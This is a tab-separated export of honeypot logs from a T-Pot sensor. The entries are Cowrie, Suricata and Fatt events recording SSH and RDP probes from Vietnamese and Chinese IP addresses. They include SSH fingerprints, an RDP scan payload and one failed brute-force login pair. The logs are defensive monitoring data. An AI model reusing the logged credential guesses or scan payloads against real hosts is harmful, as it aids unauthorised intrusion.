25692	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:28.291122+03	2021-09-20 14:15:10.48247+03	{"_id": "HAbmAnwBvYTbRNuEchtG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45354, "dest_port": 22, "timestamp": "2021-09-20T11:10:28.291122", "@timestamp": "2021-09-20T11:10:28.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25693	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:29.109401+03	2021-09-20 14:15:10.483471+03	{"_id": "HgbmAnwBvYTbRNuEchva", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58532 (192.168.176.2:22) [session: ebf878bf560e]", "session": "ebf878bf560e", "@version": "1", "protocol": "ssh", "src_port": 58532, "dest_port": 22, "timestamp": "2021-09-20T11:10:29.109401Z", "@timestamp": "2021-09-20T11:10:29.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25694	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:19.984021+03	2021-09-20 14:15:10.48747+03	{"_id": "2QbmAnwBvYTbRNuETxqq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 74 seconds", "session": "8383258ac43a", "@version": "1", "duration": 74.7346203327179, "timestamp": "2021-09-20T11:10:19.984021Z", "@timestamp": "2021-09-20T11:10:19.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25695	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:24.198165+03	2021-09-20 14:15:10.49047+03	{"_id": "4QbmAnwBvYTbRNuEXhq5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60576, "timestamp": "2021-09-20T11:10:24.198165", "@timestamp": "2021-09-20T11:10:24.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25696	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:24.400237+03	2021-09-20 14:15:10.50547+03	{"_id": "6wbmAnwBvYTbRNuEXxpM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c38eb2ce3a58", "@version": "1", "timestamp": "2021-09-20T11:10:24.400237Z", "@timestamp": "2021-09-20T11:10:24.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25697	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:24.313074+03	2021-09-20 14:15:10.515507+03	{"_id": "8wbmAnwBvYTbRNuEYRqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1845899300840566, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57706, "dest_port": 22, "timestamp": "2021-09-20T11:10:24.313074Z", "@timestamp": "2021-09-20T11:10:24.313Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25698	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:10:24.768243+03	2021-09-20 14:15:10.531509+03	{"_id": "8gbmAnwBvYTbRNuEYRqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:24.033221+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 586443091116485, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51093, "dest_port": 3389, "timestamp": "2021-09-20T11:10:24.768243Z", "@timestamp": "2021-09-20T11:10:24.768Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
25699	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:10:24.768243+03	2021-09-20 14:15:10.56147+03	{"_id": "9gbmAnwBvYTbRNuEYRqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:24.033221+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 586443091116485, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51093, "dest_port": 3389, "timestamp": "2021-09-20T11:10:24.768243Z", "@timestamp": "2021-09-20T11:10:24.768Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
25701	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:26.788395+03	2021-09-20 14:15:10.58047+03	{"_id": "BQbmAnwBvYTbRNuEaRth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1469181277147018, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34838, "dest_port": 22, "timestamp": "2021-09-20T11:10:26.788395Z", "@timestamp": "2021-09-20T11:10:26.788Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25702	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:26.514069+03	2021-09-20 14:15:10.595471+03	{"_id": "BgbmAnwBvYTbRNuEaht0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34838, "timestamp": "2021-09-20T11:10:26.514069", "@timestamp": "2021-09-20T11:10:26.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25703	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:26.513391+03	2021-09-20 14:15:10.61047+03	{"_id": "EgbmAnwBvYTbRNuEaxsJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d916ff6408b3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:26.513391Z", "@timestamp": "2021-09-20T11:10:26.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25704	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:10:27.052671+03	2021-09-20 14:15:10.647494+03	{"_id": "EwbmAnwBvYTbRNuEaxsJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [user/blablabla] failed", "session": "dca6cc868d86", "@version": "1", "password": "blablabla", "username": "user", "timestamp": "2021-09-20T11:10:27.052671Z", "@timestamp": "2021-09-20T11:10:27.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25705	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:27.651093+03	2021-09-20 14:15:10.94947+03	{"_id": "FgbmAnwBvYTbRNuEbhvw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45354 (192.168.176.2:22) [session: 5d3b1bd5c39d]", "session": "5d3b1bd5c39d", "@version": "1", "protocol": "ssh", "src_port": 45354, "dest_port": 22, "timestamp": "2021-09-20T11:10:27.651093Z", "@timestamp": "2021-09-20T11:10:27.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25706	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:27.932034+03	2021-09-20 14:15:10.953472+03	{"_id": "GAbmAnwBvYTbRNuEbhvw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5d3b1bd5c39d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:27.932034Z", "@timestamp": "2021-09-20T11:10:27.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
